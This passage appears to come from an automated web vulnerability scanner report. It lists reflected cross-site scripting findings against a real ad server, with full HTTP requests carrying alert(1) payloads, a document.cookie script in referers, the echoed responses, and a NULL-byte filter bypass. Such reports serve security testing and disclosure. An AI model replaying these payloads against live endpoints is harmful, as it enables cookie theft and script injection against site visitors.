var offset = -(curDateTime.getTimezoneOffset());
if (offset > 0)
offset = "+" + offset;
if (window.adgroupid == undefined) {
window.adgroupid = Math
...[SNIP]...
key3+key4;grp='+window.adgroupid+';misc='+new Date().getTime()+';aduho='+offset+';rdclick=http://adserver.adtechus.com/adlink/5214/1044877/0/2666/AdId=1075288;BnId=9;itime=377634470;nodecode=yes;link=&f03d6'-alert(1)-'245bd0c83ed=1">
...[SNIP]...

1.14. http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/987201/0/-1/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 654e1'-alert(1)-'cdb34eb712c was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_toplets_user_hub_237x90_1;size=237x90;key=;grp=967;misc=1299377656652;aduho=-360;rdclick=654e1'-alert(1)-'cdb34eb712c HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/Toplets/User
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 312

document.write('<a href="654e1'-alert(1)-'cdb34eb712chttp://adserver.adtechus.com/?adlink/5214/987201/0/2666/AdId=1026812;BnId=3;itime=377621969;" target=_blank><img src="http://aka-cdn-ns.adtechus.co
...[SNIP]...

1.15. http://adserver.adtechus.com/addyn/3.0/5214.1/987201/0/-1/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5214.1/987201/0/-1/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46fd9'-alert(1)-'86206638705 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5214.1/987201/0/-1/ADTECH;loc=100;target=_blank;alias=thestar_toplets_user_hub_237x90_1;size=237x90;key=;grp=967;misc=1299377656652;aduho=-360;rdclick=&46fd9'-alert(1)-'86206638705=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/Toplets/User
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 584

document.write('<a href="&46fd9'-alert(1)-'86206638705=1http://adserver.adtechus.com/?adlink/5214/987201/0/2666/AdId=1224257;BnId=8;itime=377622163;" target=_blank><img src="http://aka-cdn-ns.adtechus
...[SNIP]...

1.16. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302161/0/225/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7129'-alert(1)-'3c10447805f was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302161/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=414;misc=1299377810899;aduho=-360;rdclick=a7129'-alert(1)-'3c10447805f HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/Toplets/User?469d2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ea4549f98675=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19275

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
"")
{    AT_COUNT=''
if ('1302161'!='_ADFC'+'_CUID_') AT_COUNT=escape('http://adserver.adtechus.com/adlink/5294/1302161/0/225/AdId=1508864;BnId=1;itime=377775865;key=key1+key2+key3+key4;nodecode=yes;link=a7129'-alert(1)-'3c10447805f')
AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE1302161+"'))";
AT_TARGET1302161="_self";
}
window.AT_ClickFn1302161= function (click)
{    click=(isN
...[SNIP]...

1.17. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302161/0/225/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67542"-alert(1)-"e74a1f87600 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302161/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=414;misc=1299377810899;aduho=-360;rdclick=67542"-alert(1)-"e74a1f87600 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/Toplets/User?469d2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ea4549f98675=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19275

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
]:"clickTAG";
var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adlink/5294/1302161/0/225/AdId=1508864;BnId=1;itime=377775799;key=key1+key2+key3+key4;nodecode=yes;link=67542"-alert(1)-"e74a1f87600") + escape(AT_CLICK);
var AT_FLASHVARSSTR= "";
// if use microsite, dont add the first parameter
if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adlin
...[SNIP]...

1.18. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302161/0/225/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4458'-alert(1)-'fe79515e030 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302161/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=414;misc=1299377810899;aduho=-360;rdclick=&a4458'-alert(1)-'fe79515e030=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/Toplets/User?469d2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ea4549f98675=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19305

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
")
{    AT_COUNT=''
if ('1302161'!='_ADFC'+'_CUID_') AT_COUNT=escape('http://adserver.adtechus.com/adlink/5294/1302161/0/225/AdId=1508864;BnId=1;itime=377776427;key=key1+key2+key3+key4;nodecode=yes;link=&a4458'-alert(1)-'fe79515e030=1')
AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE1302161+"'))";
AT_TARGET1302161="_self";
}
window.AT_ClickFn1302161= function (click)
{    click=(i
...[SNIP]...

1.19. http://adserver.adtechus.com/addyn/3.0/5294.1/1302161/0/225/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302161/0/225/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3b903"-alert(1)-"a371c9ce653 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302161/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=414;misc=1299377810899;aduho=-360;rdclick=&3b903"-alert(1)-"a371c9ce653=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/Toplets/User?469d2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ea4549f98675=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 19305

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
:"clickTAG";
var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adlink/5294/1302161/0/225/AdId=1508864;BnId=1;itime=377776354;key=key1+key2+key3+key4;nodecode=yes;link=&3b903"-alert(1)-"a371c9ce653=1") + escape(AT_CLICK);
var AT_FLASHVARSSTR= "";
// if use microsite, dont add the first parameter
if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adl
...[SNIP]...

1.20. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302175/0/225/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad725'-alert(1)-'540d250e5ad was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302175/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=902;misc=1299377657772;aduho=-360;rdclick=http://ads.olivebrandresponse.com/clk?2,13%3B55f466b873698a79%3B12e88f10f92,0%3B%3B%3B976150290,aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,ad725'-alert(1)-'540d250e5ad HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDVL.1VtK7CSdj1MouNRbyRU9U0jRYQjXTGBeAAAAAAA==,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,Z%3D728x90%26s%3D225546%26_salt%3D2811161603%26B%3D10%26u%3Dhttp%253A%252F%252Fwww.thestar.com%252FToplets%252FUser%2523%26r%3D1,5b8893c2-4797-11e0-8715-003048d56b68
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,ad725'-alert(1)-'540d250e5ad')
AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE1302175+"'))";
AT_TARGET1302175="_self";
}
window.AT_ClickFn1302175= function (click)
{    click=(isN
...[SNIP]...

1.21. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302175/0/225/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a3485"-alert(1)-"a38c0b38474 was submitted in the loc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302175/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=902;misc=1299377657772;aduho=-360;rdclick=http://ads.olivebrandresponse.com/clk?2,13%3B55f466b873698a79%3B12e88f10f92,0%3B%3B%3B976150290,aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,a3485"-alert(1)-"a38c0b38474 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDVL.1VtK7CSdj1MouNRbyRU9U0jRYQjXTGBeAAAAAAA==,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,Z%3D728x90%26s%3D225546%26_salt%3D2811161603%26B%3D10%26u%3Dhttp%253A%252F%252Fwww.thestar.com%252FToplets%252FUser%2523%26r%3D1,5b8893c2-4797-11e0-8715-003048d56b68
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,a3485"-alert(1)-"a38c0b38474") + escape(AT_CLICK);
var AT_FLASHVARSSTR= "";
// if use microsite, dont add the first parameter
if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adlin
...[SNIP]...

1.22. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302175/0/225/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ecc68"-alert(1)-"4216ef2c3c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302175/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=902;misc=1299377657772;aduho=-360;rdclick=http://ads.olivebrandresponse.com/clk?2,13%3B55f466b873698a79%3B12e88f10f92,0%3B%3B%3B976150290,aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,&ecc68"-alert(1)-"4216ef2c3c2=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDVL.1VtK7CSdj1MouNRbyRU9U0jRYQjXTGBeAAAAAAA==,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,Z%3D728x90%26s%3D225546%26_salt%3D2811161603%26B%3D10%26u%3Dhttp%253A%252F%252Fwww.thestar.com%252FToplets%252FUser%2523%26r%3D1,5b8893c2-4797-11e0-8715-003048d56b68
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,&ecc68"-alert(1)-"4216ef2c3c2=1") + escape(AT_CLICK);
var AT_FLASHVARSSTR= "";
// if use microsite, dont add the first parameter
if (AT_MICROSITE=="") AT_FLASHVARSSTR = AT_CLICKVAR[0]+"=" + escape("http://adserver.adtechus.com/adl
...[SNIP]...

1.23. http://adserver.adtechus.com/addyn/3.0/5294.1/1302175/0/225/ADTECH [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1302175/0/225/ADTECH

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 79cc0'-alert(1)-'1593af4fec2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /addyn/3.0/5294.1/1302175/0/225/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=902;misc=1299377657772;aduho=-360;rdclick=http://ads.olivebrandresponse.com/clk?2,13%3B55f466b873698a79%3B12e88f10f92,0%3B%3B%3B976150290,aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,&79cc0'-alert(1)-'1593af4fec2=1 HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://ad.yieldmanager.com/iframe3?aXkAAApxAwAni1cAAAAAABfcFwAAAAAAAgAAAAYAAAAAABEAAQAHFZKOBQAAAAAAfs0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDVL.1VtK7CSdj1MouNRbyRU9U0jRYQjXTGBeAAAAAAA==,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,Z%3D728x90%26s%3D225546%26_salt%3D2811161603%26B%3D10%26u%3Dhttp%253A%252F%252Fwww.thestar.com%252FToplets%252FUser%2523%26r%3D1,5b8893c2-4797-11e0-8715-003048d56b68
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript

__ADTECH_CODE__ = "";
__theDocument = document;
__theWindow = window;
__bCodeFlushed = false;

function __flushCode() {
   if (!__bCodeFlushed) {
       var span = parent.document.createElement("SPAN"
...[SNIP]...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAw.gEAAAAAAAIAAgAAAAAAkg.xiC4BAAAAAAAAADViODg5M2MyLTQ3OTctMTFlMC04NzE1LTAwMzA0OGQ1NmI2OAA4nyoAAAA=,,http%3A%2F%2Fwww.thestar.com%2Ftoplets%2Fuser%23,&79cc0'-alert(1)-'1593af4fec2=1')
AT_VARSTRING="?cli"+"ckTAG=javascript:void(win"+"dow.open('"+AT_COUNT+AT_CLICK+"','','"+AT_MICROSITE1302175+"'))";
AT_TARGET1302175="_self";
}
window.AT_ClickFn1302175= function (click)
{    click=(i
...[SNIP]...

1.24. http://adserver.adtechus.com/addyn/3.0/5294.1/1352164/0/2666/ADTECH [loc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adserver.adtechus.com
Path:   /addyn/3.0/5294.1/1352164/0/2666/ADTECH

Issue detail

The value of the loc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload %00b4fb7'-alert(1)-'cd72b17ab2f was submitted in the loc parameter. This input was echoed as b4fb7'-alert(1)-'cd72b17ab2f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Request

GET /addyn/3.0/5294.1/1352164/0/2666/ADTECH;loc=100;target=_blank;key=key1+key2+key3+key4;grp=373;misc=1299368822561;aduho=-360;rdclick=http://adserver.adtechus.com/adlink/5214/1471994/0/2666/AdId=1075289;BnId=7;itime=368788775;nodecode=yes;link=%00b4fb7'-alert(1)-'cd72b17ab2f HTTP/1.1
Host: adserver.adtechus.com
Proxy-Connection: keep-alive
Referer: http://www.thestar.com/news/world/pirates/article/947793--dutch-couple-rescued-after-pirates-hijack-yacht
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JEB2=4D5AE97A6E651A440C6EAF39F000F262; en_autos=yes

Response

HTTP/1.0 200 OK
Connection: close
Server: Adtech Adserver
Cache-Control: no-cache
Content-Type: application/x-javascript
Content-Length: 716

